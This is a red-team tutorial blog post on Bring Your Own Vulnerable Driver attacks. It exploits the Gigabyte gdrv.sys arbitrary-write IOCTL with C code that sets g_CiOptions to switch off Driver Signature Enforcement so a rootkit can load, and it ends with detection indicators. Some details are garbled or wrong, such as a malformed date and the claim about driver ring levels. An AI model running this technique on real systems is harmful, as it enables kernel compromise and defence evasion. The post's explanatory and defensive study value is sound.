Post

BYOVD: Bring Your Own Vulnerable Driver

BYOVD: Bring Your Own Vulnerable Driver

What is a driver?

A driver is a type of executable similar to a PE file, but it is designed to run in kernel mode, granting it elevated privileges. This execution context allows the driver to interact directly with hardware components, manage low-level system resources such as memory, and access kernel APIs with minimal abstraction.

Endpoint Detection and Response (EDR) solutions often leverage kernel-mode drivers to monitor and classify processes, detect malicious behavior patterns (such as BadUSB attacks), and perform deep packet inspection on network traffic. This elevated position in the system architecture allows security products to enforce protections that cannot be easily circumvented by user-mode processes, even those running with administrative privileges.

The security implications of kernel drivers are significant—when vulnerabilities exist in driver code, they can be exploited to achieve privileged code execution in the most sensitive areas of the operating system.

What is a Kernel ?

The kernel operates at Ring 0 in the CPU privilege architetire, representing one of the highest level of privilege. Device drivers typically execute in Ring 1 or Ring 2, depending on the operating system architecture and implementation, while user-mode applications run in Ring 3, the least privileged level. Nowadays the new architeture is negative rings, because a new implementation of software and hardware in the same architeture and proctecions

Negative Rings

Other layers is not so important at the moment, except Ring -1 because is a Hypervisor, and hypervisor is used to protect Kernel layer (VBS and KPP) avoiding new exploits intercepting low-level operations and triggering Kernel Routines like KeBugCheck and BSOD.

So, exploting an driver you can have more privileges than any process in user-mode, abusing that privilges to use kernel operations, modifying system attributes and hiding evidences.

What can a vulnerable driver do in a Red Team Operation?

In the context of Red Team operations, exploiting vulnerable drivers provides attackers with enhanced capabilities to bypass security controls, including the ability to operate with increased stealth, neutralize Endpoint Detection and Response (EDR) solutions, escalate privileges, and manipulate security tokens.

Vulnerable drivers offer several tactical advantages:

  • Privilege escalation to SYSTEM level
  • Modification of Process Protection (PP) and Protected Process Light (PPL) settings
  • Security token manipulation
  • Process concealment techniques
  • Removal of kernel callbacks used by security products
  • Disabling of Event Tracing for Windows (ETW)
  • Driver Signature Enforcement (DSE) bypass (when Virtualization-Based Security is not enabled)

Despite these capabilities, exploiting driver vulnerabilities has become increasingly challenging due to Microsoft’s implementation of multiple defense mechanisms:

  • Hypervisor-Protected Code Integrity (HVCI): A security feature introduced in Windows 10 that validates drivers against the vulnerable-drivers blocklist.
  • Virtualization-Based Security (VBS): Virtualizes hardware components to isolate the kernel in a secure environment (Secure Kernel).
  • Kernel Patch Guard (KPP): Monitors kernel integrity and triggers a KeBugCheck (BSOD) when corruption or critical function modifications are detected. Notably, KPP’s monitoring is not continuous, creating potential exploitation windows.
  • Driver Signature Requirements: Since June 15, 5, drivers must be properly signed to load. However, threat actors can still utilize leaked or stolen certificates to sign malicious drivers, as demonstrated by the Nvidia certificate compromised by the LAPSUS$ group.

These protections exist primarily because Advanced Persistent Threats (APTs) frequently leverage vulnerable or malicious drivers to obtain elevated privileges, conceal processes, and destroy evidence.

To verify HVCI status on a system, you can execute the following PowerShell command:

1
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\DeviceGuard\Scenarios\HypervisorEnforcedCodeIntegrity" -Name Enabled

A return value of 1 indicates VBS is enabled, while 2 signifies HVCI is active.

It’s worth noting that despite Microsoft’s Windows Hardware Quality Labs (WHQL) certification process for third-party drivers, malicious or vulnerable drivers have occasionally received approval, creating persistent security risks.

How does a driver work?

Drivers operate through a structured communication mechanism with the Windows kernel. At the core of this interaction is the IRP (I/O Request Packet) structure, which facilitates data between user-mode applications and kernel-mode drivers.

Each driver exposes a symbolic link which is a Named Device Object that allows user-mode applications to establish communication channels.

Below is an implementation example demonstrating the communication pattern:

Client Application:

1
2
3
4
5
// Client to driver communication via symbolic link \\.\w00tw00t
#define IOCTL_READ 0x8000
// Additional code initialization...
HANDLE handle = CreateFile("\\.\\w00w00t", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
DeviceIoControl(handle, IOCTL_READ, inputBuffer, inputBufferSize, outputBuffer, outputBufferSize, &bytesReturned, NULL);

Driver Implementation:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// Driver initialization
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName, symbolicLinkName;
status = IoCreateDevice(DriverObject, 0, &deviceName, FILE_DEVICE_UNKNOWN, 0, FALSE, &deviceObject);
status = IoCreateSymbolicLink(&symbolicLinkName, &deviceName);

// Set dispatch routines
DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverIoControlHandler;

// IOCTL handler implementation
NTSTATUS DriverIoControlHandler(PDEVICE_OBJECT DeviceObject, PIRP Irp) {
    PIO_STACK_LOCATION irpStack = IoGetCurrentIrpStackLocation(Irp);
    ULONG ioControlCode = irpStack->Parameters.DeviceIoControl.IoControlCode;
    
    switch (ioControlCode) {
        case IOCTL_READ:
            // Handle read operation
            break;
        // Additional cases...
    }
    
    return status;
}

Drivers utilize IOCTL (Input/Output Control) codes to dispatch received requests to appropriate handling functions. This mechanism allows for a wide range of operations, from simple data transfers to complex hardware interactions.

Within the Windows kernel, the ci.dll module contains the g_CiOptions variable, which controls Driver Signature Enforcement (DSE). This security mechanism verifies driver signatures before allowing them to load, with several possible configuration states:

  • 0x6: Enabled (standard enforcement)
  • 0x0: Disabled (no signature validation)
  • 0xE: TestSigning mode (allows test-signed drivers)

IRP Internals

The IRP structure serves as the foundation for kernel-driver communication in Windows. Understanding its components is crucial for driver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
//struct from https://learn.microsoft.com/pt-br/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp
typedef struct _IRP {
  CSHORT                    Type;
  USHORT                    Size;
  PMDL                      MdlAddress;
  ULONG                     Flags;
  union {
    struct _IRP     *MasterIrp;
    __volatile LONG IrpCount;
    PVOID           SystemBuffer;
  } AssociatedIrp;
  LIST_ENTRY                ThreadListEntry;
  IO_STATUS_BLOCK           IoStatus;
  KPROCESSOR_MODE           RequestorMode;
  BOOLEAN                   PendingReturned;
  CHAR                      StackCount;
  CHAR                      CurrentLocation;
  BOOLEAN                   Cancel;
  KIRQL                     CancelIrql;
  CCHAR                     ApcEnvironment;
  UCHAR                     AllocationFlags;
  union {
    PIO_STATUS_BLOCK UserIosb;
    PVOID            IoRingContext;
  };
  PKEVENT                   UserEvent;
  union {
    struct {
      union {
        PIO_APC_ROUTINE UserApcRoutine;
        PVOID           IssuingProcess;
      };
      union {
        PVOID                 UserApcContext;
#if ...
        _IORING_OBJECT        *IoRing;
#else
        struct _IORING_OBJECT *IoRing;
#endif
      };
    } AsynchronousParameters;
    LARGE_INTEGER AllocationSize;
  } Overlay;
  __volatile PDRIVER_CANCEL CancelRoutine;
  PVOID                     UserBuffer;
  union {
    struct {
      union {
        KDEVICE_QUEUE_ENTRY DeviceQueueEntry;
        struct {
          PVOID DriverContext[4];
        };
      };
      PETHREAD     Thread;
      PCHAR        AuxiliaryBuffer;
      struct {
        LIST_ENTRY ListEntry;
        union {
          struct _IO_STACK_LOCATION *CurrentStackLocation;
          ULONG                     PacketType;
        };
      };
      PFILE_OBJECT OriginalFileObject;
    } Overlay;
    KAPC  Apc;
    PVOID CompletionKey;
  } Tail;
} IRP;

Key members to focus on:

  • AssociatedIrp.SystemBuffer: Points to a buffer shared between user mode and kernel mode for buffered I/O.
  • Tail.Overlay.CurrentStackLocation: Contains a pointer to the current IO_STACK_LOCATION structure, which includes details about the I/O operation (MajorFunction, Parameters, etc.).

Common Vulnerabilities

Driver vulnerabilities typically arise from improper handling of user-supplied input and inadequate validation of memory operations. The most prevalent vulnerability classes include:

  1. Arbitrary Write Primite

  2. Stack/Heap Overflow

  3. Killer

  4. Write/Read Primitive Code

Case Study: Exploiting a Vulnerable Driver

To demonstrate these concepts in practice, let’s examine the exploitation of gdrv.sys, a vulnerable driver distributed by Gigabyte from LOLDrivers repository, which catalogs publicly known vulnerable drivers.

The first step in analyzing any driver is locating its entry point. For Windows drivers, this is typically an exported function named DriverEntry:

DriverEntry export

Within the DriverEntry function, we can observe the driver’s initialization process, including how it sets up dispatch routines for handling IRPs:

Parsing DriverEntry

The driver passes the DriverObject pointer to a setup routine that configures the device object and IRP handlers.

The setup routine creates a device object and establishes a symbolic link to allow user-mode applications to communicate with the driver:

Device Setup Routine

The MajorFunctions is indexed by decimal value so, MajorFunction[14], 14 means IRP_MJ_DEVICE_CONTROL.

The IRP handler extracts the IOCTL code and parameters from the current stack location:

IRP Handler

Into the function IRP_Handler its call CurrentStackLocation, MajorFunction, InputBuffer, OutputBuffer and IoControlCode

CurrentStackLocation is called to manage MajorFunction to se what MajorFunction client called, InputBuffer to see what buffer clients sends and OutputBuffer if have and Output from Driver.

IoControlCode to see what IOCTL is called to see what client calls to see what function will be executed

Going down its possible to see a switch function to what IOCTL do you wanna to use

IOCTL

Into the switch he will compare to few IOCTL code and 0xC3502808 IOCTL Code has a memcpy-like function and vulnerable to exploit.

Memcpy-like Function

Dst and Source is a SystemBuffer received with a length of 8 bytes because its is QWORD and Size is DWORD so its have a lenth of 4 bytes, its enough to exploit and run our own rootkit.

So, how exploit it ?

Developing an exploit for a vulnerable driver becomes not so hard once you understand the process and mechanisms of the Windows kernel.

First of all, its required to get the value of DSE but to get the correct addres you need to calculate the offset because in any update an kernel address will change the offset.

It’s possible to load in-memory PDB from the internet, similar to EDRSandblast or calculate from yourself, using patterns or debbugger too.

An example code how to get a DSE offset:

1
2
3
4
5
6
7
8
9
10
11
12
HMODULE CiHandle = LoadLibraryExA("ci.dll", NULL, DONT_RESOLVE_DLL_REFERENCES);
if(!CiHandle) {
  return -1;
}
PBYTE CiInitializeOffset = (PBYTE)GetProcAddress(CiHandle, "CiInitialize");
if(CiInitializeOffset == NULL) {
  ULONG64 Address = (ULONG64)(CiInitializeOffset - (PBYTE)CiHandle + baseAddressKernel);
  printf("DSE: %p\n",(Address+gCiOptionsOffset)); //You need to find de g_CiOptions
  return 0;
} else {
  return -1;
}

Its use ci.dll!CiInitialize because its nearest memory address to g_CiOptions of DSE

After calculate the offset of a DSE, to send the payload its required communicate with a Driver and exploit using the IOCTL found, after have a symbolic link and MajorFunction

So you can use a Windows API CreateFile and DeviceIoControl to estabilish communication and send the data to IOCTL found in driver, exploiting a memcpy-like function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#define IOCTL_CODE 0xC3502808; // IOCTL Code
typedef struct _MemcpyLikeFunc { // Struct to send our data
	ULONG64 dest;
	ULONG64* src;
	DWORD size;
} MemcpyLikeFunc;
...
MemcpyLikeFunc gdrvStruct; //Create struct
gdrvStruct.dest = gCiOptionsAddress; //ci.dll!g_CiOptions
gdrvStruct.size = 1; // 1 byte legnth
gdrvStruct.src = (ULONG64*)0xe; //TestSigning Mode 
HANDLE HandleDriver = CreateFile(L"\\\\.\\GIO", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
if(!HandleDriver) {
  return -1;
}
BYTE buff[0x30] = NULL;
DeviceIoControl(HandleDriver, IOCTL_CODE, (LPVOID)&gdrvStruct, sizeof(gdrvStruct), (LPVOID)buff, sizeof(buff), NULL, NULL);
... //rootkit load here
gdrvStruct.src = (ULONG64*)0x6; //Enable DSE to avoid KeBugCheck routine
DeviceIoControl(HandleDriver, IOCTL_CODE, (LPVOID)&gdrvStruct, sizeof(gdrvStruct), (LPVOID)buff, sizeof(buff), NULL, NULL);
CloseHandle(HandleDriver);

To check if DSE status you can use WinDBG attached to a kernel with with the following command:

1
2
kd> dt ci.dll!g_CiOptions L1
<AddressHere> 0xe

Its the way to abuse a IOCTL 0xC3502808 which is a memcpy-like vulnerable function to was exploited.

This flaw is categorized as a Arbitrary Write/Read Primitive driver flaw.

And the code to exploit is that, not a monstruosity code and try to avoids KeBugCheck and its possible loads rootkit.

And there is how to identify and exploit Driver to abuse that in Red Team Operations.

Indication of Compromisse (IoC)

MD5 hashes

  • b0954711c133d284a171dd560c8f492a
  • 043d5a1fc66662a3f91b8a9c027f9be9
  • 3c55092900343d3d28564e2d34e7be2c
  • 7907e14f9bcf3a4689c9a74a1a873cb6
  • a72e10ecea2fdeb8b9d4f45d0294086b
  • 31f34de4374a6ed0e70a022a0efa2570
  • 4e093256b034925ecd6b29473ff16858
  • 1549e6cbce408acaddeb4d24796f2eaf
  • c832a4313ff082258240b61b88efa025
  • d556cb79967e92b5cc69686d16c1d846

SHA1 hashes

  • 4f0d9122f57f4f8df41f3c3950359eb1284b9ab5
  • 3d8cc9123be74b31c597b0014c2a72090f0c44ef
  • 1a56614ea7d335c844b7fc6edd5feb59b8df7b55
  • b9b72a5be3871ddc0446bae35548ea176c4ea613
  • 4692730f6b56eeb0399460c72ade8a15ddd43a62
  • c70989ed7a6ad9d7cd40ae970e90f3c3f2f84860
  • eba5483bb47ec6ff51d91a9bdf1eee3b6344493d
  • 18f09ec53f0b7d2b1ab64949157e0e84628d0f0a
  • 1f1ce28c10453acbc9d3844b4604c59c0ab0ad46
  • de2b56ef7a30a4697e9c4cdcae0fc215d45d061d

Other

  • Unknown binary running with anomalous behaviour;
  • Unknown drivers running;
  • Communicate to Microsoft and exeucting CreateFile and DeviceIoControl to \\.\GIO;
  • Symbolic Link \\.\GIO open;
  • Match same certificate.
This post is licensed under CC BY 4.0 by the author.

Trending Tags